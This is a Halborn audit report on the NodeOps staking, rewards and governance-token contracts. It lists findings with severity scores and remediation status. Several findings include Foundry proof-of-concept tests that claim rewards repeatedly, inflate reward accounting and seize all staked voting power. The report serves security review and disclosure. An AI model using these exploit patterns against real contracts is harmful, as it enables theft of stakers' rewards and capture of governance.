NodeOps Smart Contracts - NodeOps


Prepared by:

Halborn Logo

HALBORN

Last Updated 01/28/2025

Date of Engagement: January 3rd, 2025 - January 6th, 2025

Summary

100% of all REPORTED Findings have been addressed

All findings

15

Critical

2

High

4

Medium

0

Low

1

Informational

8


1. Introduction

NodeOps engaged Halborn to conduct a security assessment on their smart contracts beginning on January 3rd, 2025 and ending on January 6th, 2025. The security assessment was scoped to the smart contracts provided to Halborn. Commit hashes and further details can be found in the Scope section of this report.

The NodeOps codebase in scope consist of 9 different smart contracts

    • The RewardsManager.sol and RewardsManagerStorage.sol are responsible for distributing rewards

    • The NODE.sol contract is a custom ERC20 token with some minting restrictions

    • The Roles.sol contract contains the roles that are used for access control within the project.

    • The BasePool.sol, PoolBeacon.sol and PoolFactory.sol are responsible for deploying and managing pools.

    • The StakingContract.sol allows users to stake the NODE.sol ERC20 token, and in return receive rewards.

    • The RevenueVault.sol contract allows the developers to allocate additional rewards for stakers.

2. Assessment Summary

Halborn was provided 2 days for the engagement and assigned 1 full-time security engineer to review the security of the smart contracts in scope. The engineer is a blockchain and smart contract security expert with advanced smart contract hacking skills, and deep knowledge of multiple blockchain protocols.

The purpose of the assessment is to:

    • Identify potential security issues within the smart contracts.

    • Ensure that smart contract functionality operates as intended.

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by the NodeOps team. The main ones are the following:

    • Consider setting the staker.lastStakedEpoch = epochId in the claimRewards() function.

    • When calculating the reward parameter in the _updateRewards function, don't add staker.rewards to it, or when adding the new value to staker.rewards, don't add reward, make staker.rewards = reward.

    • Consider utilizing something similar to the MasterChef or Synthetix staking contract mechanisms.

    • Consider using < rather than <= in the _calcualteRewards() function.

    • Add unit and E2E tests.

3. Test Approach and Methodology

Halborn performed a combination of manual review of the code and automated security testing to balance efficiency, timeliness, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of smart contracts and can quickly identify items that do not follow security best practices.

The following phases and associated tools were used throughout the term of the assessment:

    • Research into architecture, purpose and use of the platform.

    • Smart contract manual code review and walkthrough to identify any logic issue.

    • Thorough assessment of safety and usage of critical Solidity variables and functions in scope that could lead to arithmetic related vulnerabilities.

    • Local testing with custom scripts (Foundry).

    • Fork testing against main networks (Foundry).

    • Static analysis of security for scoped contract, and imported functions(Slither).

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on two sets of Metrics and a Severity Coefficient. This system is inspired by the industry standard Common Vulnerability Scoring System.
The two Metric sets are: Exploitability and Impact. Exploitability captures the ease and technical means by which vulnerabilities can be exploited and Impact describes the consequences of a successful exploit.
The Severity Coefficients is designed to further refine the accuracy of the ranking with two factors: Reversibility and Scope. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.
The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.
The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

Attack Origin (AO):
Captures whether the attack requires compromising a specific account.
Attack Cost (AC):
Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.
Attack Complexity (AX):
Describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.
Metrics:
EXPLOITABILITY METRIC (mem_e)METRIC VALUENUMERICAL VALUE
Attack Origin (AO)Arbitrary (AO:A)
Specific (AO:S)
1
0.2
Attack Cost (AC)Low (AC:L)
Medium (AC:M)
High (AC:H)
1
0.67
0.33
Attack Complexity (AX)Low (AX:L)
Medium (AX:M)
High (AX:H)
1
0.67
0.33
Exploitability EE is calculated using the following formula:

E=meE = \prod m_e

4.2 IMPACT

Confidentiality (C):
Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.
Integrity (I):
Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.
Availability (A):
Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.
Deposit (D):
Measures the impact to the deposits made to the contract by either users or owners.
Yield (Y):
Measures the impact to the yield generated by the contract for either users or owners.
Metrics:
IMPACT METRIC (mIm_I)METRIC VALUENUMERICAL VALUE
Confidentiality (C)None (I:N)
Low (I:L)
Medium (I:M)
High (I:H)
Critical (I:C)
0
0.25
0.5
0.75
1
Integrity (I)None (I:N)
Low (I:L)
Medium (I:M)
High (I:H)
Critical (I:C)
0
0.25
0.5
0.75
1
Availability (A)None (A:N)
Low (A:L)
Medium (A:M)
High (A:H)
Critical (A:C)
0
0.25
0.5
0.75
1
Deposit (D)None (D:N)
Low (D:L)
Medium (D:M)
High (D:H)
Critical (D:C)
0
0.25
0.5
0.75
1
Yield (Y)None (Y:N)
Low (Y:L)
Medium (Y:M)
High (Y:H)
Critical (Y:C)
0
0.25
0.5
0.75
1
Impact II is calculated using the following formula:

I=max(mI)+mImax(mI)4I = max(m_I) + \frac{\sum{m_I} - max(m_I)}{4}

4.3 SEVERITY COEFFICIENT

Reversibility (R):
Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.
Scope (S):
Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.
Metrics:
SEVERITY COEFFICIENT (CC)COEFFICIENT VALUENUMERICAL VALUE
Reversibility (rr)None (R:N)
Partial (R:P)
Full (R:F)
1
0.5
0.25
Scope (ss)Changed (S:C)
Unchanged (S:U)
1.25
1
Severity Coefficient CC is obtained by the following product:

C=rsC = rs

The Vulnerability Severity Score SS is obtained by:

S=min(10,EIC10)S = min(10, EIC * 10)

The score is rounded up to 1 decimal places.
SeverityScore Value Range
Critical9 - 10
High7 - 8.9
Medium4.5 - 6.9
Low2 - 4.4
Informational0 - 1.9

5. SCOPE

Files and Repository
(a) Repository: contracts-public
(b) Assessed Commit ID: e9e2eca
(c) Items in scope:
  • contracts/ERC20/NODE.sol
  • contracts/core/RewardsManager.sol
  • contracts/core/RewardsManagerStorage.sol
↓ Expand ↓
Out-of-Scope:
Remediation Commit ID:
Out-of-Scope: New features/implementations after the remediation commit IDs.

6. Assessment Summary & Findings Overview

Critical

2

High

4

Medium

0

Low

1

Informational

8

Security analysisRisk levelRemediation Date
Users can claim rewards unlimited timesCriticalSolved - 01/10/2025
Rewards in the StakingContract are not calculated correctlyCriticalSolved - 01/10/2025
Reward allocation in releaseEpoch is incorrectHighSolved - 01/24/2025
The last user to stake or unstake will be delegated the whole voting powerHighSolved - 01/24/2025
Users can claim rewards for the last epoch multiple timesHighSolved - 01/24/2025
Incorrect update of lastStakedEpoch allows users to claim rewards for more epochs than they shouldHighSolved - 01/24/2025
Quorum Challenges with High Staking of NODE Governance TokensLowSolved - 01/24/2025
Not all limitations are successfully enforced in the withdrawalInformationalSolved - 01/10/2025
Custom errors should be usedInformationalSolved - 01/10/2025
The length of a storage array is not cached before loopsInformationalSolved - 01/10/2025
A malicious user can abuse the approvals granted to StakingContractInformationalAcknowledged - 01/10/2025
Floating pragmaInformationalSolved - 01/10/2025
Insufficient test coverageInformationalSolved - 01/10/2025
Important fields in events are not indexedInformationalSolved - 01/10/2025
Use of memory instead of calldata for an unmodified function argumentInformationalSolved - 01/10/2025

7. Findings & Tech Details

7.1 Users can claim rewards unlimited times

//

Critical

Description

In the StakingContract.sol contract, users can stake the NODE.sol ERC20 token via the stake() function, and then based on emissions, inflation rates, total stakes and epochs passed can claim rewards. However, a malicious user can claim rewards as many times as he wants, since the staker.lastStakedEpoch parameter is not updated when a user claims their rewards via the claimRewards() function.


Let's imagine the following scenario, the below parameters are used in order to better demonstrate the severity of the exploit:

  • UserA and UserB have both staked 1e18 ERC20 tokens via the stake() function, when the epochId = 0

  • In the releaseEpoch() function, the emissions is 0

  • currentSupply = 1_000_000e18, baseInflationRate = 10e18(10%), the inflationEmissions ~ 273e18

  • rewardsPerUnit ~ 136e18 for epochId 1

  • The parameters stay the same and 4 more epochs pass, and now epochId = 5

  • UserA decides to claim his rewards via the claimRewards() function, which internally calls the _updateRewards() function which in turn calls the _calculateRewards() function:

    function _calculateRewards(uint256 epoch, uint256 principle) private view returns (uint256) {
        require(epoch <= epochId, "Invalid epoch");

        if (principle == 0) {
            return 0;
        }

        uint256 reward;    

        for (uint256 i = epoch; i <= epochId; i++) {
            if (epochInfo[i].totalStaked == 0) {
                continue; // Skip this epoch to avoid division by zero
            }
            reward += (principle * epochInfo[i].rewardsPerToken) / 1e18;
        }

        return reward;
    }
  • As we can see from the above code snippet, epoch will be equal to 0, and epochId will be equal to 5. The totalStaked for the epoch 0 is 0, so this epoch will be skipped, and then we get reward = to 5 * 136e18 = 680e18

  • However staker.lastStakedEpoch is not updated, and UserA can call the claimRewards() function immediately afterwards claiming additional 680e18 reward tokens. This results in UserA effectively stealing the rewards of UserB. If there are more stakers, UserA can call the claimRewards() function as many times as he wishes, effectively stealing all of the rewards.

Proof of Concept

The following POC demonstrates that malicious users can claim rewards unlimited times:

    function test_ClaimRewardsUnlimitedTimes() public {
        vm.startPrank(alice);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(bob);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(1);
        skip(86_401);

        stakingContract.releaseEpoch(2);
        skip(86_401);

        stakingContract.releaseEpoch(3);
        skip(86_401);

        stakingContract.releaseEpoch(4);
        skip(86_401);

        stakingContract.releaseEpoch(5);
        skip(86_401);
        vm.stopPrank();
        
        vm.startPrank(alice);
        console2.log("Balance in the rewards manager contract: ", node.balanceOf(address(rewardsManager)));
        console2.log("Alice's balance before claiming rewards: ", node.balanceOf(alice));
        stakingContract.claimRewards();
        console2.log("Alice's balance after first reward claim: ", node.balanceOf(alice));
        stakingContract.claimRewards();
        console2.log("Alice's balance after second reward claim: ", node.balanceOf(alice));
        console2.log("Balance in the rewards manager contract: ", node.balanceOf(address(rewardsManager)));
        vm.stopPrank();
    }


BVSS
Recommendation

Consider setting the staker.lastStakedEpoch = epochId in the claimRewards() function.


Remediation

SOLVED: The vulnerability described in this issue was fixed, however by fixing it the protocol introduced another vulnerability described in Incorrect update of lastStakedEpoch allows users to claim rewards for more epochs than they should.

Remediation Hash
References

7.2 Rewards in the StakingContract are not calculated correctly

//

Critical

Description

The StakingContract.sol contract allows users to stake ERC20 tokens via the stake() function, and based on their stake, emissions,epochs passed and the total staked amount they are supposed to receive a certain amount of rewards.


Let's imagine the following scenario, the below parameters are used in order to better demonstrate the severity of the exploit:

  • UserA and UserB have both staked 1e18 ERC20 tokens via the stake() function, when the epochId = 0

  • In the releaseEpoch() function the emissions is 0

  • currentSupply = 1_000_000e18, baseInflationRate = 10e18(10%), the inflationEmissions ~ 273e18

  • rewardsPerUnit is ~ 136e18 for epochId 1

  • Now UserA calls the unstake() function, and unstakes 1 WEI

  • The unstake() function internally calls the _updateRewards() function:

    function _updateRewards(StakerInfo storage staker) private {
        uint256 reward = staker.rewards + _calculateRewards(staker.lastStakedEpoch, staker.stakedBalance);
        if (reward > 0) {
            staker.rewards += reward;
        }
    }
  • The _updateRewards() function in turn calls the _calculateRewards() function:

    function _calculateRewards(uint256 epoch, uint256 principle) private view returns (uint256) {
        require(epoch <= epochId, "Invalid epoch");

        if (principle == 0) {
            return 0;
        }

        uint256 reward;    

        for (uint256 i = epoch; i <= epochId; i++) {
            if (epochInfo[i].totalStaked == 0) {
                continue; // Skip this epoch to avoid division by zero
            }
            reward += (principle * epochInfo[i].rewardsPerToken) / 1e18;
        }

        return reward;
    }
  • As can be seen from the implementation of the _updateRewards() function, the staker.rewards is added when the reaward is calculated, and later on the whole reward is added once more to the staker.rewards

  • staker.rewards for UserA will be ~136e18

  • Now one more epoch passes, and the params are the same (the 1 WEI that was unstaked is ignored for easier calculations),the rewardsPerUnit is ~ 136e18 for epochId 2

  • Now when UserA calls the unstake() function again, the calculated reward will be as follows reward = 136e18 + 136e18, then staker.rewards will be 136e18 + 272e18 = 408e18

  • UserA effectively steals rewards from UserB. The more users and more epochs the rewards a malicious user can steal utilizing this exploit.

Proof of Concept
    function test_RewardCalculation() public {
        vm.startPrank(alice);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(bob);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(1);
        skip(86_401);
        vm.stopPrank();

        vm.startPrank(alice);
        stakingContract.unstake(1);
        uint256 aliceRewards1 = stakingContract.getUserRewards(alice);
        console2.log("Alice's expected rewards divided by 1e18: ", aliceRewards1 / 1e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(2);
        skip(86_401);
        vm.stopPrank();

        vm.startPrank(alice);
        stakingContract.unstake(1);
        uint256 aliceRewards = stakingContract.getUserRewards(alice);
        uint256 actualRewards = node.balanceOf(address(rewardsManager));

        /// @notice due to the way rewards are calculated in the getUserRewards
        /// return staker.rewards + _calculateRewards(staker.lastStakedEpoch, staker.stakedBalance);
        /// it returns ~821e18, however the real amount is ~410e18
        console2.log("Alice's expected rewards divided by 1e18: ", aliceRewards / 1e18);
        console2.log("Actual rewards minted to the rewards manager divided by 1e18: ", actualRewards / 1e18);
        vm.stopPrank();
    }


BVSS
Recommendation

When calculating the reward parameter in the _updateRewards function don't add staker.rewards to it, or when adding the new value to staker.rewards don't add reward, make staker.rewards = reward.

Remediation

SOLVED: The NodeOps team followed the recommendation and successfully resolved the issue.

Remediation Hash
References

7.3 Reward allocation in releaseEpoch is incorrect

//

High

Description

In the StakingContract.sol contract, reward calculation relies on emissions + inflationEmissions and divides it by the totalStaked amount. totalStaked is increased only when users stake via the stake() function. The initial epochId is 0, so users first have to stake for epochId 0, if they don't releaseEpoch() function will always revert due to division by 0 error and then rewards will be distributed for epochId 1.


Let's imagine the following scenario, the below parameters are used in order to better demonstrate the severity of the exploit:

  • UserA staked 0.001e18 ERC20 tokens via the stake() function, when the epochId = 0, and he is the only staker

  • In the releaseEpoch() function the emissions is 0

  • currentSupply = 1_000_000e18, baseInflationRate = 10e18 (10%), the inflationEmissions ~ 273e18

  • rewardsPerUnit will be 273e18 * 1e18 / 0.001e18 ~ 273_972e18 for epochId 1, this is many more rewards that would be actually minted.

  • Now when users stake they will stake for epochId 1, if for example, UserB stakes 1e18 tokens, his reward for epochId 1 will be 273_972e18, which is much more than the rewards that were minted, and with time he will be able to steal a big portion of the rewards that should be allocated to other users.


This discrepancy can either allow a malicious user to withdraw much more rewards if they are accumulated with time, or will brick non-malicious stakers as the RewardsManager.sol contract simply doesn't have enough rewards to transfer when a user tries to claim rewards via the claimReward() function.

Proof of Concept
   function test_RewardAllocation() public {
        vm.startPrank(alice);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(0.001e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(1);
        skip(86_401);
        vm.stopPrank();

        vm.startPrank(bob);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        uint256 bobRewards = stakingContract.getUserRewards(bob);
        uint256 actualRewards = node.balanceOf(address(rewardsManager));
        console2.log("Bob expected rewards divided by 1e18: ", bobRewards / 1e18);
        console2.log("Actual rewards minted to the rewards manager divided by 1e18: ", actualRewards / 1e18);
        vm.stopPrank();
    }

BVSS
Recommendation

There are a lot of discrepancies in the StakingContract.sol contract, consider rewriting the whole mechanism following the algorithms of the MasterChef or Synthetix staking contract: https://www.rareskills.io/post/staking-algorithm.

Remediation

SOLVED: The NodeOps team has successfully resolved the issue.

Remediation Hash
References

7.4 The last user to stake or unstake will be delegated the whole voting power

//

High

Description

The StakingContract.sol allows users to stake NODE.sol ERC20 tokens which is a governance token. However each time a user calls the stake() or unstake() functions the voting power of all the NODE.sol tokens that are currently staked into the StakingContract.sol will be transferred to the user, no matter what amount he stakes or unstakes, as can be seen from the below code snippet:

    function stake(uint256 amount) external nonReentrant whenNotPaused {
        if (amount == 0) {
            revert CommonErrors.InvalidInput();
        }

        StakerInfo storage staker = stakers[msg.sender];

        if (staker.lastStakedEpoch > 0) {
            _updateRewards(staker);
        } 
        else {
            _stakerList.add(msg.sender);
        }

        staker.stakedBalance += amount;
        totalStaked += amount;

        _addLSTRequest(amount, msg.sender);

        // Delegate voting power to the staker
        ERC20Votes(token).delegate(msg.sender);

        IERC20(token).safeTransferFrom(msg.sender, address(this), amount);

        emit Staked(msg.sender, amount);
    }

This represents a big problem as a lot of users are expected to stake their NODE.sol ERC20 tokens in the StakingContract.sol, as they are incentivized to do so, and a single user can acquire all of that voting power just by staking 1 WEI, and thus propose and pass governance votes that are in his favor, but not in favor of the community.

Proof of Concept

The following POC demonstrates that a malicious user can acquire all of the voting power associated with the NODE.sol ER20 tokens currently staked in the StakingContract.sol:

    function test_DelegatingTooMuch() public {
        vm.startPrank(alice);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        console2.log("Alice's voting power: ", node.getVotes(alice));
        vm.stopPrank();

        vm.startPrank(bob);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        console2.log("Alice's voting power: ", node.getVotes(alice));
        console2.log("Bob's voting power: ", node.getVotes(bob));
        vm.stopPrank();
    }

BVSS
Recommendation

Consider implementing a functionality which delegates voting power to users proportional to the amount that they stake.

Remediation

SOLVED: The NodeOps team has successfully resolved the issue.

Remediation Hash
References

7.5 Users can claim rewards for the last epoch multiple times

//

High

Description

In the StakingContract.sol contract, users can stake tokens, and receive rewards for each epochId they have staked for. However when the rewards that a user should receive are calculated, the last epochId is taken into consideration always as can be seen from the _calculateRewards() function:

    function _calculateRewards(uint256 epoch, uint256 principle) private view returns (uint256) {
        require(epoch <= epochId, "Invalid epoch");

        if (principle == 0) {
            return 0;
        }

        uint256 reward;    

        for (uint256 i = epoch; i <= epochId; i++) {
            if (epochInfo[i].totalStaked == 0) {
                continue; // Skip this epoch to avoid division by zero
            }
            reward += (principle * epochInfo[i].rewardsPerToken) / 1e18;
        }

        return reward;
    }

This way even if all other vulnerabilities within the contract are fixed, a malicious user can call the claimRewards() function multiple times, and claim rewards for the last epochId as many times as he wants. This effectively results in a malicious user stealing rewards from other users. The more epochs and user stakes the more severe this attack vector becomes.

Proof of Concept
    function test_ClaimLastEpoch() public {
        /// @notice in order to run this test you have to add the following line in the claimRewards() function after staker.rewards = 0;
        /// staker.lastStakedEpoch = epochId; this fixes a vulnerability demonstrated in the test_ClaimRewardsUnlimitedTimes
        /// in the _updateRewards() function change to the following
        /// uint256 reward = _calculateRewards(staker.lastStakedEpoch, staker.stakedBalance);

        vm.startPrank(alice);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(bob);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(1);
        skip(86_401);
        vm.stopPrank();

        vm.startPrank(alice);
        console2.log("Balance in the rewards manager contract: ", node.balanceOf(address(rewardsManager)));
        console2.log("Alice's balance before claiming rewards: ", node.balanceOf(alice));
        stakingContract.claimRewards();
        console2.log("Alice's balance after first reward claim: ", node.balanceOf(alice));
        stakingContract.claimRewards();
        console2.log("Alice's balance after second reward claim: ", node.balanceOf(alice));
        console2.log("Balance in the rewards manager contract: ", node.balanceOf(address(rewardsManager)));
        vm.stopPrank();
    }

BVSS
Recommendation

You can consider using only < rather than <= in the _calculateRewards() function, however as I have mentioned in a previous finding there are a lot of discrepancies in the StakingContract.sol contract, consider rewriting the whole mechanism following the algorithms of the MasterChef or Synthetix staking contract: https://www.rareskills.io/post/staking-algorithm

Remediation

SOLVED: The NodeOps team has successfully resolved the issue.

Remediation Hash
References

7.6 Incorrect update of lastStakedEpoch allows users to claim rewards for more epochs than they should

//

High

Description

In the StakingContract.sol contract, users can stake the NODE.sol ERC20 token via the stake() function, and then based on emissions, inflation rates, total stakes and epochs passed can claim rewards. A trusted role can also create a stake for a certain user via the delegatedStake() function. However the lastStakedEpoch won't be updated because it will always be 0 for a new unique address.

    function stake(uint256 amount) external nonReentrant whenNotPaused {
        if (amount == 0) {
            revert CommonErrors.InvalidInput();
        }

        StakerInfo storage staker = stakers[msg.sender];

        if (staker.lastStakedEpoch > 0) {
            _updateRewards(staker);
        } 
        else {
            _stakerList.add(msg.sender);
        }

        staker.stakedBalance += amount;
        totalStaked += amount;

        _addLSTRequest(amount, msg.sender);

        // Delegate voting power to the staker
        ERC20Votes(token).delegate(msg.sender);

        IERC20(token).safeTransferFrom(msg.sender, address(this), amount);

        emit Staked(msg.sender, amount);
    }

As can be seen from the above code snippet, the _updateRewards() function, which is responsible for updating the lastStakedEpoch for each user and calculating the rewards is only called if the current staker.lastStakedEpoch is bigger than 0. This will allow users to claim rewards from the 0th epoch until the last epoch no matter when they stake. This effectively results in users that stake at a later time stealing rewards from users who staked earlier.

Proof of Concept

The following POC demonstrates that users can claim rewards starting from the 0th epoch, no matter when they deposited:

    function test_AllowStakersToWithdrawRewardsFromTheZeroethEpoch() public {
        vm.startPrank(alice);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(bob);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(1);
        skip(86_401);

        stakingContract.releaseEpoch(2);
        skip(86_401);

        stakingContract.releaseEpoch(3);
        skip(86_401);

        stakingContract.releaseEpoch(4);
        skip(86_401);

        stakingContract.releaseEpoch(5);
        skip(86_401);
        vm.stopPrank();

        vm.startPrank(tom);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(6);
        skip(86_401);
        vm.stopPrank();

        vm.startPrank(alice);
        console2.log("Alice's balance before claiming rewards divided by 1e18: ", node.balanceOf(alice) / 1e18);
        stakingContract.claimRewards();
        console2.log("Alice's balance after claiming rewards divided by 1e18: ", node.balanceOf(alice) / 1e18);
        vm.stopPrank();

        vm.startPrank(tom);
        console2.log("Tom's balance before claiming rewards divided by 1e18: ", node.balanceOf(tom) / 1e18);
        stakingContract.claimRewards();
        console2.log("Tom's balance after claiming rewards divided by 1e18: ", node.balanceOf(tom) / 1e18);
        console2.log("Rewards left in the rewards manager contract divided by 1e18: ", node.balanceOf(address(rewardsManager)) / 1e18);
        uint256 bobRewards = stakingContract.getUserRewards(bob);
        console2.log("Bob's expected rewards divided by 1e18 divided by 1e18: ", bobRewards / 1e18);
        vm.stopPrank();
    }


BVSS
Recommendation

Consider updating the lastStakedEpoch directly in the stake() and delegateStake() functions.


Remediation

SOLVED: The NodeOps team has successfully resolved the issue.

Remediation Hash
References

7.7 Quorum Challenges with High Staking of NODE Governance Tokens

//

Low

Description

The NODE ERC20 token is a governance token, and is the token which is staked in the StakingContract.sol contract. The max supply of the token is 1_000_000_000e18, depending on the quorum requirements if a big portion of the token is staked, quorum won't be reached in the upcoming governance proposals, as the staked tokens don't delegate the voting rights to anyone, and the NODE tokens that are deposited in the StakingContract.sol contract are not utilized in any way.

BVSS
Recommendation

Consider delegating the voting rights associated with the Node tokens to the user that stakes the tokens.

Remediation

SOLVED: The NodeOps team has successfully resolved the issue.

Remediation Hash
References

7.8 Not all limitations are successfully enforced in the withdrawal

//

Informational

Description

In the RevenueVault.sol contract, the withdraw() function has certain limitations for the amount of withdraws that should be possible for a certain time period, however not all of this limitations are enforced efficiently:

    function withdraw(address token, uint256 amount) external onlyRole(Roles.BENEFICIARY_ROLE) whenNotPaused nonReentrant {
        require(_whitelistedTokens.contains(token), "Token not whitelisted");

        uint256 currentTimestamp = block.timestamp;
        uint256 lastTimestamp = lastWithdrawalTimestamp[msg.sender];

        // Enforce cooldown period between withdrawalsf
        require(currentTimestamp >= lastTimestamp + cooldownPeriod, "Cooldown period not yet passed");
        require(amount <= dailyWithdrawalLimits[token], "Amount exceeds daily withdrawal limit");

        // Check available balance
        uint256 balance = IERC20(token).balanceOf(address(this));
        require(amount <= balance, "Amount exceeds token balance");

        // Update last withdrawal timestamp
        lastWithdrawalTimestamp[msg.sender] = currentTimestamp;

        withdrawals[msg.sender] += amount;

        // Transfer tokens
        IERC20(token).safeTransfer(msg.sender, amount);

        emit Withdraw(msg.sender, token, amount);
    }

As can be seen from the above code snippet the dailyWithdrawLimit is not enforced efficiently, if the Roles.BENEFICIARY_ROLE is compromised a malicious user can withdraw the daily limit multiple times during the day.

BVSS
Recommendation

Effectively enforce the daily limit withdraw.

Remediation

SOLVED: The NodeOps team has followed the recommendation and successfully resolved the issue.

Remediation Hash
References

7.9 Custom errors should be used

//

Informational

Description

In Solidity smart contract development, replacing hard-coded revert message strings with the Error() syntax is an optimization strategy that can significantly reduce gas costs. Hard-coded strings, stored on the blockchain, increase the size and cost of deploying and executing contracts.


The Error() syntax allows for the definition of reusable, parameterized custom errors, leading to a more efficient use of storage and reduced gas consumption. This approach not only optimizes gas usage during deployment and interaction with the contract but also enhances code maintainability and readability by providing clearer, context-specific error information.

BVSS
Recommendation

It is recommended to replace hard-coded revert strings in require statements for custom errors, which can be done following the logic below.

1. Standard require statement (to be replaced):

require(condition, "Condition not met");

2. Declare the error definition to state

error ConditionNotMet();

3. As currently is not possible to use custom errors in combination with require statements, the standard syntax is:

if (!condition) revert ConditionNotMet();

More information about this topic in [Official Solidity Documentation](https://docs.soliditylang.org/en/v0.8.24/control-structures.html#panic-via-assert-and-error-via-require).

Remediation

SOLVED: The NodeOps team has followed the recommendation and successfully resolved the issue.

Remediation Hash
References

7.10 The length of a storage array is not cached before loops

//

Informational

Description

In the StakingContract.sol cotntract, the withdraw() function loops trough all of the unstake request a user has made, and then withdraws the tokens from each request where the unstakeTime is less than the current block.timestamp. However the length of the requests array is not cached before all request are looped trough. This increases the gas consumed by the withdraw() function. The function itself may consume a lot of gas, depending on how much requests it has too loop trough, however the protocol has specified that they intend to deploy the protocol on Arbitrum where gas limits are much larger than most chains, and this shouldn't be a problem. However users should be warned to not create an excessive amount of unstake request, before they process the ones the can already process.

BVSS
Recommendation

Consider caching the length of the requests array, before you loop over it.

Remediation

SOLVED: The NodeOps team has followed the recommendation and successfully resolved the issue.

Remediation Hash
References

7.11 A malicious user can abuse the approvals granted to StakingContract

//

Informational

Description

Users typically approve contracts in which they have to deposit ERC20 tokens for the uint256 max amount, so they only have to approve the contract once. It is highly possible that when users want to interact with the StakingContract.sol contract and stake tokens via the stake() function, they approve the StakingContract.sol for the uint256 max value. However in the delegateStake() function a malicious user can stake tokens on behalf of a user who has approved the StakingContract.sol contract.

    function delegatedStake(address user, uint256 amount) external onlyRole(Roles.BENEFICIARY_ROLE) whenNotPaused {
        StakerInfo storage staker = stakers[user];

        if (staker.lastStakedEpoch > 0) {
            _updateRewards(staker);
        }

        staker.stakedBalance += amount;
        totalStaked += amount;
        staker.lastStakedEpoch = epochId;
        
        _addLSTRequest(amount, user);  

        IERC20(token).safeTransferFrom(user, address(this), amount);

        emit Staked(user, amount);
    }

As can be seen from the above code snippet the delegateStake() function is permissioned function, however if the Roles.BENEFICIARY_ROLE is compromised the delegateStake() function can be called for any user, and if that user has approved the StakingContract.sol for a big amount, those tokens will be staked in the contract immediately. In order for the user to withdraw his tokens he has to first call the unstake() function, and then wait a certain cooldownPeriod, and then freely withdraw his tokens. However the cooldownPeriod can be 1 day, or much bigger.

BVSS
Recommendation

In the delegateStake() function, when transfering tokens to the StakingContract.sol contract, consider transfering them from the msg.sender not the user

Remediation

ACKNOWLEDGED: The NodeOps team has acknowledged the issue, but they don't intend to implement any changes.

Remediation Hash
References

7.12 Floating pragma

//

Informational

Description

All contracts in scope currently use floating pragma versions ^0.8.26 which means that the code can be compiled by any compiler version that is greater than or equal to 0.8.26, and less than 0.9.0.


However, it is recommended that contracts should be deployed with the same compiler version and flags used during development and testing. Locking the pragma helps to ensure that contracts do not accidentally get deployed using another pragma. For example, an outdated pragma version might introduce bugs that affect the contract system negatively.


In this aspect, it is crucial to select the appropriate EVM version when it's intended to deploy the contracts on networks other than the Ethereum mainnet, which may not support these opcodes. Failure to do so could lead to unsuccessful contract deployments or transaction execution issues.

BVSS
Recommendation

Lock the pragma version to the same version used during development and testing. Additionally, make sure to specify the target EVM version when using Solidity versions from 0.8.20 and above if deploying to chains that may not support newly introduced opcodes. Additionally, it is crucial to stay informed about the opcode support of different chains to ensure smooth deployment and compatibility.

Remediation

SOLVED: The NodeOps team has followed the recommendation and successfully resolved the issue.

Remediation Hash
References

7.13 Insufficient test coverage

//

Informational

Description

The project lacks unit and E2E tests. It is always a good practice to implement unit tests and E2E tests, as it helps discovering vulnerabilities in the early stages of development, and later on it helps with maintaining and updating the code base.

BVSS
Recommendation

Consider adding unit and E2E tests to the project.

Remediation

SOLVED: The NodeOps team has added a test suite.

Remediation Hash

7.14 Important fields in events are not indexed

//

Informational

Description

None of the important fields in the events emitted in the BasePool.sol contract and the StakingContract.sol contract are indexed.

BVSS
Recommendation

Index the appropriate fields in the events that are emitted in the StakingContract.sol and BasePool.sol contracts.

Remediation

